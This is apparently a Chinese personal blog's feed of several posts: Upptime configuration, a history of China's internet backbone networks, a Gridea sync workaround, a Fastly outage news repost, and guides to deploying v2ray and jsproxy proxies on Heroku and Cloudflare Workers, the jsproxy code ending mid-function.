Active Incidents 显示目前的异常事件,Past Incidents 显示过去的异常事件,Live Status 可以切换五种response time 图形。
Upptime有七个Workflows,只要把下面这段粘贴到.upptimerc.yml,就可以自定义Workflow的时间点
workflowSchedule:
graphs: "0 0 * * *"
responseTime: "0 23 * * *"
staticSite: "0 1 * * *"
summary: "0 0 * * *"
updateTemplate: "0 0 * * *"
updates: " 0 3 * * *"
uptime: "*/5 * * * *"
Status Website预设是英文的,如果你想要改成其他语言,可以把要修改的部分粘贴到.upptimerc.yml
例如:
i18n:
activeIncidents: 活动事件
allSystemsOperational: 所有系统都可以正常运行
incidentReport: "事件 #$NUMBER 报告 →"
activeIncidentSummary: 在 $DATE 打开,有 $POSTS 个帖子
incidentTitle: 事件 $NUMBER 的详细信息
incidentDetails: 事件详细信息
incidentFixed: 已修复
incidentOngoing: 正在进行
incidentOpenedAt: 开始于
incidentClosedAt: 结束于
incidentSubscribe: 订阅更新
incidentViewOnGitHub: 在 GitHub 上查看
incidentCommentSummary: 由 $AUTHOR 在 $DATE 发布
incidentBack: ← 返回所有事件
pastIncidents: 过去的事件
pastIncidentsResolved: $POSTS 个问题在 $MINUTES 分钟内得到解决
liveStatus: 实时状态
overallUptime: "总体正常运行时间: $UPTIME"
overallUptimeTitle: 总体正常运行时间
averageResponseTime: "平均响应时间: $TIMEms"
averageResponseTimeTitle: 平均响应时间
sevelDayResponseTime: 7 天响应时间
responseTimeMs: 响应时间(毫秒)
ms: 毫秒
loading: 加载中
navGitHub: GitHub
footer: gd1214b保留所有权利。 Copyright © 2021 gd1214b. All Rights Reserved.
rateLimitExceededTitle: 超出速率限制
rateLimitExceededIntro: 您已超过一小时内可以执行的请求数,因此您必须等待才能再次访问此网站。或者,您可以添加 GitHub 个人访问令牌以继续使用本网站。
rateLimitExceededWhatDoesErrorMean: 这个错误是什么意思?本网站使用 GitHub API 访问有关我们网站状态的实时数据。默认情况下,GitHub 允许每个 IP 地址每小时 60 个请求,您已经消耗了这些请求。
rateLimitExceededErrorHowCanFix: 我该如何解决?
rateLimitExceededErrorFix: 您可以再等一个小时,您的 IP 地址限制将恢复。或者,您可以添加您的 GitHub 个人访问令牌,这将为您提供每小时额外 5,000 个请求。
rateLimitExceededGeneratePAT: 了解如何生成个人访问令牌
rateLimitExceededHasSet: 您有一个个人访问令牌集。
rateLimitExceededRemoveToken: 删除令牌
rateLimitExceededGitHubPAT: GitHub 个人访问令牌
rateLimitExceededCopyPastePAT: 复制并粘贴您的令牌
rateLimitExceededSaveToken: 保存令牌
errorTitle: 发生错误
errorIntro: 尝试获取最新状态详细信息时出错。
errorText: 您可以稍后再试。
errorHome: 转到主页
pastScheduledMaintenance: 过去的预定维护
scheduledMaintenance: 定期维护
scheduledMaintenanceSummaryStarted: 从 $DATE 开始,持续 $DURATION 分钟
scheduledMaintenanceSummaryStarts: 从 $DATE 开始,持续 $DURATION 分钟
startedAt: 开始在
startsAt: 开始于
duration: 持续时间
durationMin: $DURATION 分钟
incidentCompleted: 已完成
incidentScheduled: 已预定
url: "链接"
status: "状态"
history: "历史"
responseTime: "响应时间"
uptime: "正常运行时间"
up: "🟩 正常运行"
degraded: "🟨 运行缓慢"
down: "🟥 停机"
responseTimeGraphAlt: "响应时间图像"
responseTimeDay: "24 小时响应时间"
responseTimeWeek: "7 天正常运行时间"
responseTimeMonth: "30天的正常运行时间"
responseTimeYear: "1年的正常运行时间"
uptimeDay: "24 小时正常运行时间"
uptimeWeek: "7 天正常运行时间"
uptimeMonth: "30天的正常运行时间"
uptimeYear: "1年的正常运行时间"
liveStatusHtmlComment: "<! -实时状态- >"
degradedPerformance: "🟨 性能降低"
completeOutage: "🟥 全部停机"
partialOutage: "🟧 部分停机"
本文转自:https://m.ithome.com/html/523947.htm
987 年 9 月 20 日,北京中国兵器工业计算机应用研究所的钱天白教授,发出了我国第一封电子邮件,内容是:
“Across the Great Wall we can reach every corner in the world. ”(“越过长城,我们能到达世界的每个角落。” )
这封邮件当时具有极为深远的意义,它被视为中国与互联网的第一次 “亲密接触”。而钱天白教授,也被世人称为 “中国互联网之父”。
其实,当时钱天白所使用的网络,并不是我国自主建设的 Internet 骨干网,而是 1986 年计算机应用技术研究所与德国卡尔斯鲁厄大学合作建设的一个国际联网项目——中国学术网(Chinese Academic Network,简称 CANET)。
这封邮件的传输路径,也颇为曲折。邮件发出之后,首先通过意大利公用分组网 ITAPAC 设在北京侧的 PAD 机,跨过半个地球,进入意大利本土的 ITAPAC 主网。然后,再进入德国的 DATEX―P 分组网。最终,到达卡尔斯鲁厄大学。当时,这条线路的速率,仅仅只有 300bps。
不管怎么说,这封邮件还是拉开了中国互联网时代的序幕。此后,越来越多的国内高校和科研院所,开始加入到互联网的研究中,并尝试组建更大规模的计算机网络。
1988 年初,中国邮电部正式建成了国内第一个 X.25 分组交换网——CNPAC,覆盖了北京、上海、广州、沈阳、西安、武汉、成都、南京、深圳等城市。
同年,中科院高能物理研究所采用 X.25 协议,将该单位的 DECnet(DEC 公司推出的一种小型机网络)与西欧中心的 DECnet 进行连接,实现了计算机国际远程连网,还实现了与欧洲和北美地区的电子邮件通信。
12 月,清华大学校园网采用胡道元教授从加拿大 UBC 大学引进的电子邮件软件包(采用 X.400 协议),通过 X.25 网与加拿大 UBC 大学相连,开通了电子邮件应用。
1989 年 5 月,中国研究网(CRN)通过当时邮电部的 CNPAC,实现了与德国研究网(DFN)的互连。借助 DFN 的网关,CRN 可以与 Internet 沟通。
1991 年,中科院高能物理研究所采用 DECNET 协议,以 X. 25 方式连入美国斯坦福线性加速器中心(SLAC)的 LIVEMORE 实验室,开通了电子邮件应用。
一个又一个连接的建立,振奋了国人。然而,这些连接都只能算是 “Internet 间接连接”或者 “单功能(邮件)连接”,并不是真正的 “完整 Internet 直接连接”。后来,学术界和政府层面很快开始了建立完整直接连接的尝试。
1989 年 10 月,中关村地区教育与科研示范网络项目正式启动。该项目由世界银行提供贷款,国家计委(国家计划委员会)、国家教委(国家教育委员会)、中国科学院、国家自然科学基金会共同参与投资和支持。世界银行将其命名为 “National Computing and Networking Facility of China”,也就是 NCFC。
1992 年底,NCFC 完成了三个院校网(中科院院网 CASNET、清华大学校园网 TUNET、北京大学校园网 PUNET)的建设。一年后,NCFC 主干网工程完工,采用高速光缆和路由器实现了三个院校网相互联通。
接下来,NCFC 的目标,就是直接连入 Internet。
众所周知,Internet 源于美国,虽然叫做国际互联网,但实际上当时处于美国的控制之下。中国想要真正连入 Internet,必须得到美国方面的同意。
中美双方的学术界人士,对于中国连入 Internet 这件事是非常积极的。
1991 年 10 月,在中美高能物理年会上,美方发言人怀特 · 托基提出,中国应该尽快接入 Internet。
1992 年 6 月,在日本神户举行的 INET'92 年会上,中国科学院钱华林研究员约见美国国家科学基金会国际联网部负责人,第一次正式提出,希望能够连入 Internet。
钱华林
结果,中方提出的请求,遭到来自美国政界的反对。之所以反对,是因为他们认为,来自社会主义阵营的中国,会利用 Internet 偷取美国的信息和技术研究成果。
经过反复的谈判和沟通,美方勉强同意,可以先建立一根专线连接。美国对这根专线提出了苛刻的要求:1、只能连入能源科学网(ESNET);2、不得散布病毒;3、不得用于军事和商业领域。
为了长远考虑,中方接受了这些条件。1993 年 3 月 2 日,中科院高能物理研究所接入美国斯坦福线性加速器中心(SLAC)的 64K 专线正式开通,成为中国 “部分连入 Internet”的第一根专线。
1993 年 6 月,NCFC 专家们在 INET'93 年会上,利用各种机会重申了中国 “全功能连入 Internet”的要求,获得大部分到会人员的支持,极大地推动了项目的进展。
1994 年 4 月初,中美科技合作联委会在美国华盛顿举行。会前,中科院副院长胡启恒代表中方向美国国家科学基金会(NSF)重申连入 Internet 的要求,得到美方的认可。至此,所有的阻碍都被消除。
胡启恒
1994 年 4 月 20 日,NCFC 接入 Internet 的 64K 国际卫星专线正式开通(通过美国 Sprint 公司),实现了与 Internet 的全功能连接。
从这一天起,中国正式迈入互联网世界的大门,被国际上承认为真正拥有全功能 Internet 的第 77 个国家。
一个月后,5 月 21 日,中科院计算机网络信息中心完成了中国国家顶级域名(CN)服务器的设置,改变了中国的 CN 顶级域名服务器一直放在国外的历史。(中国顶级域名 CN 由钱天白教授于 1990 年 11 月 28 日代表中国正式在 SRI-NIC 正式注册登记。)
NCFC 连入 Internet 之后,中科院对它进行了进一步的扩建。
1995 年 4 月,中科院启动京外单位联网工程(简称 “百所联网”工程),目标是在北京地区已经入网的 30 多个研究所的基础上把网络扩展到全国 24 个城市,实现国内各学术机构的计算机互联,并与 Internet 互联。
1996 年 2 月,中科院做出决定,将以 NCFC 为基础发展起来的这个互联网络,正式改名为 “中国科技网(CSTNet)”。
1994 年 9 月,就在中国迈入互联网世界后不久,邮电部电信总局与美国商务部签订协议,正式启动中国公用计算机互联网的建设。这个网,就是现在大名鼎鼎的中国第一骨干网——ChinaNet。
1995 年 1 月,根据协议约定,邮电部电信总局分别在北京、上海开通了接入美国 Internet 的 64K 专线(同样是通过美国 Sprint 公司)。北京和上海这两个节点之间,采用 2M 带宽相连。
1996 年 1 月,电信总局正式开始向全社会提供 Internet 接入服务(通过电话网、DDN 专线以及 X.25 网等方式)。这一举动,宣告了中国互联网民用化时代的开始。
由于窄带拨号接入的入网领示号为 163,因此 ChinaNet 也被称为 163 网络(和网易的 163 没有关系)。
除了中国科技网(CSTNet)和中国公用计算机互联网(ChinaNet)之外,国内当时还同步建设了中国教育和科研计算机网(CERNET)和中国金桥信息网(CHINAGBN)
1994 年 7 月初,由清华大学等六所高校建设的 “中国教育和科研计算机网”试验网开通,并通过 NCFC 的国际出口与 Internet 互联。
1994 年 8 月,由国家计委投资,国家教委主持的中国教育和科研计算机网(CERNET)正式立项。
1995 年 12 月,“中国教育和科研计算机网(CERNET)示范工程”建设完成。这张网,就是我们现在常说的 “教育网”(大学生读者应该比较熟悉)。
1993 年 3 月 12 日,朱镕基副总理主持会议,提出和部署建设国家公用经济信息通信网(简称金桥工程)。
1993 年 8 月 27 日,李鹏总理批准使用 300 万美元总理预备费,支持启动金桥前期工程建设。
1994 年 6 月 8 日,金桥前期工程建设全面展开。1995 年 8 月,金桥工程初步建成,在 24 省市开通联网(卫星网),并与国际网络实现互联。
1996 年 9 月 6 日,中国金桥信息网(CHINAGBN)连入美国的 256K 专线正式开通。中国金桥信息网宣布开始提供 Internet 服务,主要提供专线集团用户的接入和个人用户的单点上网服务。
最终,国内形成了四大骨干网的格局。正是这些网络,支撑起了中国互联网的起步。
1997 年 12 月,四大骨干网实现互联互通。此后,中国的互联网,进入了崭新的时代!
上面我们提到,中国邮电部在 1995 年建立了 ChinaNet(中国公用计算机互联网),也就是大家俗称的 163 网。
这张网,当时是国内普通网民接入互联网的主要通道。
因为当时中国邮电还没有实行 “邮电分营”,所以这张网是邮电部电信总局负责建设和维护。
1997 年,邮电部实施 “邮电分营”,这张网的责任主体,变成了 “中国电信”(老电信)。
同年,中国电信各省公司开始独立建设省内 IP 骨干网(省网)。建成之后,整个 ChinaNet 分为骨干网、省网和城域网三级结构。其中,骨干网分为核心层、汇聚层两层。
某省组网范例
1998 年 7 月,ChinaNet 骨干网第二阶段建设开始。八个大区域的骨干带宽被扩展到 155M,且所有节点路由器被替换为千兆路由器。
到了 2000 年的下半年,中国电信借助 DWDM(波分复用)和千兆路由器技术,再次对 ChinaNet 进行大规模升级和扩容。网络节点间的路由中继,由 155M 提升到 2.5Gbps,提速 16 倍。
截至到 2000 年底,ChinaNet 在国内总带宽已达到 800Gbps。2001 年 3 月,ChinaNet 的国际出口总带宽突破 3Gbps。
从 2002 年开始,ChinaNet 逐步进入 10G 时代。ChinaNet 的数据传输能力,达到国际先进水平。
2003 年,ChinaNet 进行优化整合,推行扁平化,取消省网,网络结构调整为骨干网和城域网两级。
与此同时,中国电信启动了多厂商 MSTP(多业务传送平台)的互通测试,推动 TDM 向以太网的转型。
再后来的故事,大家应该都比较熟悉了,就是往 OTN 和单波大容量演进,朝着 40G、100G(2015 年)的方向发展。
目前的骨干网,正在逐步普及单波 400G。如果按 60 波算,单光纤的传输容量能达到 20T 以上。
除了容量之外,就是 OXC 全光交叉、IPv6、SRv6、SDN 等新技术的引入、改造和普及,此前小枣君都做过详细的介绍。
接下来,我们再深入了解一下 ChinaNet 的整体情况。
一般来说,运营商的骨干网架构和技术细节属于秘密信息,不对外公开。但是,如今在互联网上,这些信息基本上都能查到。我就基于能公开查到的信息,大致介绍一下(可能有所变动,仅供参考)。
从架构来说,ChinaNet 分为骨干网和城域网(前面有说,干掉了省网),骨干网又分核心层、汇聚层和接入层。
北京、上海、广州,是 ChinaNet 的超级核心。除了超级核心之外,ChinaNet 还有天津、西安、南京、杭州、武汉、成都等普通核心。所有核心之间,采用 Full-Mesh 连接。国际出入口,以及运营商之间的互联互通,基本上都在核心层。
找到一张老图,仅供参考
汇聚层一般都在各省省会或第二大城市,采用双方向互联,分别连到一个超级核心和一个普通核心,有的省份会三方向互联。
接入层,就是汇聚层到各个地市城域网。
除了 ChinaNet 之外,中国电信还有一张非常重要的骨干网——CN2。
2004 年左右,为了满足高品质业务的需求,中国电信启动了 CN2 网络的招标建设。
CN2,全称 Chinatelecom Next Carrier Network(中国电信下一代承载网络),简称 CNCN,又称 CN2,刚好符合它作为中国电信第二张承载网的身份。
中国电信将 CN2 定位为 “精品网络项目”,非常有前瞻性。后来的事实证明,CN2 在抢占政企高端市场方面,确实发挥了重要作用。
CN2 的基本建网特点,就是扁平化、大容量和轻载运行。建网初期的核心技术,是 IP/MPLS。
从架构上来看,CN2 和 ChinaNet 有很大区别。CN2 一共是 7 个核心节点,分别是北京、上海、广州、南京、武汉、西安、成都。
同样是一张老图,供参考
此外,CN2 还在香港、新加坡、东京、伦敦、法兰克福等国际大城市设立了 POP 节点,提供国际 Internet 接入和网间互联业务。
CN2 作为高端网络,面向客户的时候,也进行了进一步的产品等级划分,例如 CN2 GT、CN2 GIA。
CN2 GT:GT 是 Global Transit 的简称,是 CN2 中的中端产品,在 CN2 里的等级比较低,但是相比于传统 163 骨干网依然有不少的提升。
CN2 GIA:GIA 是 Global Internet Access 的简称,是目前 CN2 中的最高端的产品,在 CN2 中的等级最高,线路表现最好、最稳定,价格也是最高。
2015 年,中国电信为了加强数据中心之间的节点互联,满足云服务日益增长的需求,还启动建设了 “第三张”全国骨干网——CN2-DCI(Data Center Interconnection)。关于这张网,网上目前公开的信息极少。
以上就是中国电信 IP 骨干网的大致情况。
接下来,我们再看看中国联通的骨干网。
1994 年 7 月 19 日,中国联通经国务院批准,正式挂牌成立,主要经营 GSM 移动通信业务。
随着 2G 向 3G 的演进,有了 GPRS 数据业务,中国联通也建设了 UNINET 骨干网,作为自家 GPRS 网络的接入点,也是面向全国提供互联网服务的载体。
因为 UNINET 的拨号上网接入号码为 “165”,所以这个网也被称为 165 网。
1999 年 10 月 22 日,中国网通(小网通、老网通)由中科院、广电总局、铁道部、上海市政府四方出资成立,在全国 17 个城市开通互联网服务。
网通也建设了一张自己的骨干网,就是 “中国网通公用互联网”(CNCNET)。
此外,邮电部当年除了 163 网之外,在 1997 年还建设了一张中国公众多媒体通信网。这张网络很特别,完全独立于 163 网,采用私有地址 10.0.0.0/8,只能国内互相访问,相当于是一张 “国内局域网”。如果需要访问 163 网和 Internet 的话,需要找专门的代理服务器跳转。
因为这张网络的接入号码为 169,故又称 169 网。
169 网有一个很大的优势,就是价格便宜。当时 163 的使用费是每小时 10 元,而 169 只需要每小时 4 元。因此,169 受到很多普通网民的喜爱。
2002 年,国内电信行业重组,中国电信 “南北分家”。北方九省一市电信公司从原中国电信剥离,与小网通、吉通合并,成立新的中国网通(大网通、新网通)。
于是,中国网通在既有 CNCNET 的基础上,得到了中国电信从 163 网拆出来的部分精华骨干网。为了区别于中国电信的 163 网,网通带走的这个网被称为 “CHINA169”。
值得一提的是,当时吉通并入中国网通,CHINAGBN(中国金桥网)也随之并入 CHINA169 中。
2008 年,中国电信业再次重组,中国联通和中国网通合并,变成新的中国联通。
新的中国联通,自然而然地接管了 CHINA169。
此外,网通最初的骨干网 CNCNET(主要承载原网通 NGN 软交换、DCN 等业务)也交给联通运营。这个 CNCNET(自治域为 AS9929,经常被称为 9929 网络)保持相对独立,后来被称为 “联通 A 网”。
与之相对应的 “联通 B 网”,就是原联通建设的 IP 承载网,主要承载 2G/3G 移动网业务的那个网。后来好像逐渐没用了,业务迁到了 A 网。
2018 年,联通将 IP 承载 A 网改名为 CUII,中国联通工业(产业)互联网。CUII 的定位有点像中国电信的 CN2,主要提供国际和国内跨地市 MPLS-VPN 和大客户互联网专线任务的承载,常用于企业宽带和 IDC,极少用于家用宽带。
总之,联通主要就是 “China169+CUII”的双网格局。
由于历史原因,联通 China169 的网络流量存在较大的南北差异,北方 10 省的业务流量明显大于南方。
早期的时候,China169 全网分为四个大区,分别是北方大区、华东大区、南方大区、西部大区。设置了北京 1、北京 2、上海、广州四个核心节点,并将陕西、四川、山东、辽宁设为区域核心节点。
再来说说中国移动。
中国移动的骨干网发展史没有电信和联通那么复杂,这家公司本身的历史就很简单。
2000 年 4 月 20 日,中国移动正式成立,5 月 16 日挂牌。
中移成立初期,也是主要以移动语音业务为主。后来,随着业务的发展,才逐步建设了较为完整的 IP 骨干网,名为 CMNET(China Mobile Network,中国移动互联网),自治域为 AS9808,也称 9808 网络。
当时,CMNET 是中国移动 GPRS 网络的两大接入点(另一个是 CMWAP)之一。通过 CMNET 接入点,中国移动手机用户可以接入 CMNET 网络,访问 Internet。
虽然 CMNET 起步比较晚(相对来说),但发展速度非常快。尤其是这些年中国移动拼命拓展固网宽带业务,流量增长迅猛,扩容招标也是非常频繁。
CMNET 为骨干网和省网两级自治域、多层结构。骨干网分为核心层、汇聚层和接入层。
北京、上海、广州 3 个节点为核心节点,它们与相连链路共同构成骨干核心层。骨干核心层提供大区内省份流量的交换,并负责全网与国际 Internet、国内其他运营商的互联。
汇聚层负责汇接各省到骨干网的连接。南京、武汉、成都、西安、沈阳等节点为汇聚节点,负责本大区内省份流量之间的交换。
接入层负责汇聚本省省际流量和出网流量。接入节点一般双上联核心节点,部分流量较大的省份,会采用多上联。
国内和国际网间互联方面,节点都设置在北京、上海、广州。
除了 CMNET 之外,中国移动还有 IP 专用承载网,简称 IP 专网。当时建设这个网的主要目的,是为了承载高价值客户业务,如话音,流媒体,信令,网管,大型客户的 VPN 等业务。
IP 专网为三层结构,分别为核心、汇聚和接入三层,采用单一自治域,目前已经延伸到国内 330 多个主要地市。大致架构如下:
最后再说说新入坑的中国广电吧。
2018 年,中国广电的广电宽带获批骨干网运营资质,启动全国骨干网建设,并将其命名为 CBNNET。
CBNNET 的主要建设单位,是中国广电的子公司中国有线。
2019 年,广电骨干网已经与中国电信的骨干网进行了互联互通。
按照规划,CBNNET 将是一张 “五纵五横”的全国性 IP 骨干网,全网 100G OTN 起步,部分关键链路 400G/1T OTN。
未来,CBNNET 将采用三层架构,即国干层、省网 / 接入层、互联层,覆盖 337 个地市,逐步形成双平面网络,直接提供宽带出口,互联网总出口带宽将达到 5T。
好啦,以上就是目前国内运营商骨干网的大致情况。简单画个表,如下:
值得一提的是,包括中移在内的运营商,针对现有骨干网容量不足的情况,普遍建设了所谓的 “第二平面”。“第二平面”属于扩容,并不是新建独立的第二张网络。
除了上述骨干网之外,我们国家还有几张针对特定用户的骨干网,分别如下:
由于众所周知的原因,GitHub在中国大陆地区受到的干扰严重,大部分情况下根本无法连接,这也导致Gridea的同步失败问题。
通常的解决方案是通过代理服务器连接,但由于大部分的代理软件(如v2rayN等),只能更改系统的代理设置,,像Gridea这些不遵守系统代理设置的软件,无法通过代理服务器连接。
下面介绍一种本人亲测有效的方法, 这种方法的基本原理是用GitHub Desktop将Gridea生成的网页源代码手动push到GitHub上。
这一步不做过多讲解。
下载地址:
https://central.GitHub.com/deployments/desktop/desktop/latest/win32
打开安装程序即可自动完成安装。
点击 Sign into GitHub.com
在浏览器里登陆你的GitHub账号
需要清空ouput文件夹里的所有内容的原因是GitHub Desktop无法克隆仓库到非空文件夹中,这一步不会影响你的博客数据。
注意output文件夹不要删除
注意目录要选择Gridea 配置目录下ouput文件夹
在Gridea中依次点击 远程 > 检测远程连接 > 同步
这一步无所谓是否同步成功.
在GitHub Desktop 中点击 Pushu origin
等候完成即可。
根据评论区中某匿名网友的提醒,有change files的话需要先点击左下角的Commit,才会出现第七步截图里的push origin。
此时你的博客应该已经同步到GitHub上了,如果有任何问题,欢迎在下方的评论区中提出。
]]>请先阅读本站的免责声明:https://blog.gd1214b.icu/post/disclaimers/
请遵循当地法律使用,如您有违反当地法律造成的责任,本站拒不承担.
在上一篇文章中,我们介绍了在Heroku上部署v2ray的方法。但在中国大陆直连Heroku服务器的速度不是很快,因此我们使用Cloudflare的自选IP来加速连接。
首先登陆CloudFlare官网,然后点击 右侧的 Workers.
接着点击创建Workers
接着复制下方代码,并添加进去.注意把下面的中文替换成你的Heroku应用名称
addEventListener(
"fetch",event => {
let url=new URL(event.request.url);
url.hostname="你的heroku应用名称.herokuapp.com";
let request=new Request(url,event.request);
event. respondWith(
fetch(request)
)
}
)
前往下面这个网站下载程序:
https://github.com/XIU2/CloudflareSpeedTest/releases
解压之后打开这个程序:
这个程序会对Cloudflare的所有IP进行测速,这可能会需要几分钟的时间。
测速结果会保存在应用程序目录下的result.csv文件中
在里面找到延迟最低的IP地址(一般在第一行),把它复制下来,等会会用到。
打开你的v2ray客户端,添加vmess服务器,按照下面的图填写
除了中文部分以外严格按照图上内容填写。
然后保存,就可以愉快地使用v2ray了
如果你遇到了任何问题 欢迎在下方的评论区中提出。
如果优选IP无法连接,请在地址一栏填写以下域名:
www.digitalocean.com
cf.000714.xyz
本文转自:https://new.qq.com/omn/20210609/20210609A01G7M00.html
人们习以为常的互联网服务,已经成为现代生活必备的基础设施,但在背后网络云服务商集中度不断提升的情况下,其脆弱性也愈发突出。8日全球互联网世界碰到的一次不大不小的“断网”事件,就是这一脆弱性的最新例证。
全世界数以亿计互联网用户在当天发现自己无法打开日常访问的网站,在经过约1小时后才逐渐恢复。最终,一家名为Fastly的CDN(content delivery network)服务提供商浮出水面,这家公司表示,由于进行了一项“服务配置”的修改,引发了大规模故障。
有意思的是,当人们得知问题出自Fastly这家公司后,其股价在当天出现大涨,因为通过这起事件,投资者意识到,这家总部位于旧金山,员工数不到1000人的“边缘计算云服务”公司,对互联网世界有着举足轻重的影响力。
宣称在互联网终端用户和服务器之间架设“中继站”,为用户提供更快捷、便利的互联网内容体验的同时,由于这一类服务商集中度过高,导致了类似当天大范围用户无法打开网页这样的风险隐患。
本周二,当全球各地数以亿计的互联网用户登陆自己平日经常登陆的网站时,发现页面无法打开,并出现了“503 Errors”的错误提示,包括亚马逊、Reddit、Twitch、Pinterest以及包括纽约时报、CNN等在内的多数新闻网站均悉数中招。
这一问题大约持续了一个小时,初步的调查结果显示,互联网内容传递服务公司Fastly是引起这一场互联网大规模掉线的主要原因。
从Fastly发布的状态更新报告可以追踪事件的整个进展过程,大约在美国太平洋时间8日凌晨2:58分,Fastly称,“我们目前正在调查对我们的内容传递网络服务(Content Delivery Network)带来潜在影响的冲击。”
在这则报告发布后不久,推特上便出现了许多用户声称无法打开BBC、CNN、纽约时报等新闻网站的推文。社交平台推特本身也受到了一定程度的影响,其负责表情包的服务器无法接入,导致在出问题的时段内,许多推文的表情无法正常显示。
随后问题变得愈发严重,全球各个地区均不同程度出现网站无法打开的问题,甚至连英国政府官方网站都一度受到影响。
在大约一个小时后,Fastly再度更新状态报告,称已经找到问题并实施了修复措施,在美国太平洋时间8日凌晨4点10分,Fastly通过其官方推特称,“我们发现一个服务配置的更改引发了全球服务的短暂中断,目前已将这一配置关闭,我们全球服务网络已恢复正常。”
对于许多普通互联网用户来说,Fastly的名字或许十分陌生,这家公司创办于2011年,总部位于旧金山,从事的主要业务是互联网云服务。2017年,该公司发布了边缘云计算平台,提供将终端服务器的内容更近、更快地给到终端用户的服务。简而言之,Fastly为服务器和终端用户之间搭建了一个中继站,让用户无需再从终端服务器上下载网络内容,而由Fastly事先预载一部分内容,当用户访问相应网站时,就无需再从远端的终端服务器上下载,而从Fastly处获得,提高终端用户获得互联网内容的效率。
Fastly的这一互联网内容传递服务,能够让网页的加载速度更快、优化图片、视频和其他大尺寸的内容能够更快的在用户终端上出现。在Fastly官方网站的介绍中,该公司列举了几个例子,例如新闻网站Buzzfeed在使用了Fastly的服务后,加载速度提高了50%,纽约时报在美国大选夜能够承载200万用户登陆等。
此外,边缘云计算的另一个好处是作为一道额外的防范黑客攻击的防火墙,例如最常见的DDoS攻击等,保障终端服务器不受攻击的影响。
但同时带来的一个问题是,由于Fastly作为连接终端服务器和终端用户的桥梁,一旦这座“桥梁”发生问题,双方之间的连接也就断了,这正是8日所短暂发生的情况。
目前对于这起故障到底如何发生的有关细节还不得而知,Fastly方面也仅给出了是因为进行一项“服务配置”的调试而引发的简单解释。
一个有意思的现象是,在外界已经得知此次不得不小的“断网”事件主要责任方是Fastly的情况下,Fastly的股价在8日盘中大涨超过10%,这背后的逻辑是:通过这次事件,许多投资者发现Fastly居然服务如此多的互联网内容提供方,对互联网有着超过之前预期的影响力,尽管是一桩负面事件,但却对公司本身是一次利好。
根据Fastly 2021年第一季度财报显示,截至3月31日,服务全球58个市场,第一季度总收入8485万美元,其中6273万美元来自于美国市场,占绝大部分比例,来自亚太和欧洲市场的收入则分别为915万和964万美元。Fastly在美国以外的用户在截至3月31日为1208,约占全部用户量的53%。
从财报业绩表现来看,Fastly仍处在业务快速扩张阶段,第一季度收入同比增长34.8%,同时研发投入同比增长超过100%,导致当季净亏损5051万美元。去年全年,Fastly收入同比增速为45%,净亏损9593万美元。
Fastly在2020年同样是一支疫情受益股,股价在当年从年初的每股约20美元一路涨至年末的每股100美元以上翻了4倍多。但在进入2021年后,股价又一路从高位回落,目前距离历史高位已经腰斩。
Fastly断网事件再次提醒我们互联网服务的脆弱性,当提供互联网底层服务的单个公司出现短时故障时,将导致大规模用户的互联网服务受到影响,因为越来越多的互联网内容提供方正在依赖越来越少的类似Fastly这样的中间云服务提供商,这样的事件在近期时有发生,包括去年7月Cloudflare因故障中断服务以及亚马逊旗下AWS在去年11月碰到的短期故障等,云服务市场集中度的不断提高,正在不断加剧这样的潜在风险。
]]>请先阅读本站的免责声明:https://blog.gd1214b.icu/post/disclaimers/
请遵循当地法律使用,如您有违反当地法律造成的责任,本站拒不承担.
Heroku是 Salesforce 旗下云服务商,提供方便便捷的各种云服务,如服务器,数据库,监控,计算等等。并且他提供了免费版本,这使得我们这些平时想搞一些小东西的人提供了莫大的便捷,虽然他有时长和宕机的限制,但是对于个人小程序来说已经足够了。
V2Ray(Project V)是一个优秀的开源网络代理工具,目前已经全平台支持Windows、Mac、Android、IOS、Linux等操作系统的使用。相对起Shadowsocks来说属于后起之秀,在混淆能力、兼容性、速度上有着独到的优点,V2Ray是一个不错的选择。
很简单,根据官网的提示操作就行:https://signup.heroku.com/
点击下面的链接将v2ray部署到Heroku上:
https://heroku.com/deploy?template=https://github.com/libsgh/v2ray-heroku.git
应用名称,可随意填写。
服务器所在位置,有美国和欧洲两个选择。
v2ray所使用的协议,可以不用改动。
用户的连接ID,必须填写,可在这里随机生成一个:https://1024tools.com/uuid
(只需复制一个即可,千万要注意保存)。
websocket路径,可以不用改动。
点击最后的“Deploy app”即可。
这里可能会需要一点时间,看到下面的界面就说明部署成功了:
打开网页:https://app-name.herokuapp.com/ray (将app name替换为你在第一部中填写的名称)如果显示Bad Request 则说明v2ray服务端部署就绪。
这里以windows端的v2rayN(下载地址:https://github.com/2dust/v2rayN/releases)为例,其他客户端配置方法类似。
请严格按照以上信息填写,否则可能无法连接。
到这一步你的v2ray应该已经部署好了,如果还是无法连接的话可以在下方的评论区中提出问题。
与北京时间相差不超过30秒:
北京时间:
请求/,返回3D元素周期表
请求/speedtest/,返回html5-speedtest测速页面
请求/test/,返回文件列表,可用于文件下载速度测试
请先阅读本站的免责声明:https://blog.gd1214b.icu/post/disclaimers/
请遵循当地法律使用,如您有违反当地法律造成的责任,本站拒不承担.
Cloudflare 推出了 Workers 服务,在国内一般叫它边缘计算。jsproxy 是个 Github 开源项目,可以通过 Cloudflare Workers 服务搭建一个反向代理服务器,这个反向代理服务器不需要安装在我们自己的 VPS 主机上,而是直接部署在 Cloudflare 节点上,这可以极大的降低我们自身 VPS 主机的性能损耗。
打开Cloudflare,登录CLoudflare账户。(Cloudflare支持中文界面,操作前可先将界面语言调换只中文);
创建Worker实例(创建前还要配置一下,这里就不多说了,可以根据自己的需求进行选择,免费的一天可以处理十万请求,正常来说很够用);
将以下代码复制到左侧脚本框中;
'use strict'
/**
* static files (404.html, sw.js, conf.js)
*/
const ASSET_URL = 'https://etherdream.github.io/jsproxy'
const JS_VER = 10
const MAX_RETRY = 1
/** @type {RequestInit} */
const PREFLIGHT_INIT = {
status: 204,
headers: new Headers({
'access-control-allow-origin': '*',
'access-control-allow-methods': 'GET,POST,PUT,PATCH,TRACE,DELETE,HEAD,OPTIONS',
'access-control-max-age': '1728000',
}),
}
/**
* @param {any} body
* @param {number} status
* @param {Object<string, string>} headers
*/
function makeRes(body, status = 200, headers = {}) {
headers['--ver'] = JS_VER
headers['access-control-allow-origin'] = '*'
return new Response(body, {status, headers})
}
/**
* @param {string} urlStr
*/
function newUrl(urlStr) {
try {
return new URL(urlStr)
} catch (err) {
return null
}
}
addEventListener('fetch', e => {
const ret = fetchHandler(e)
.catch(err => makeRes('cfworker error:\n' + err.stack, 502))
e.respondWith(ret)
})
/**
* @param {FetchEvent} e
*/
async function fetchHandler(e) {
const req = e.request
const urlStr = req.url
const urlObj = new URL(urlStr)
const path = urlObj.href.substr(urlObj.origin.length)
if (urlObj.protocol === 'http:') {
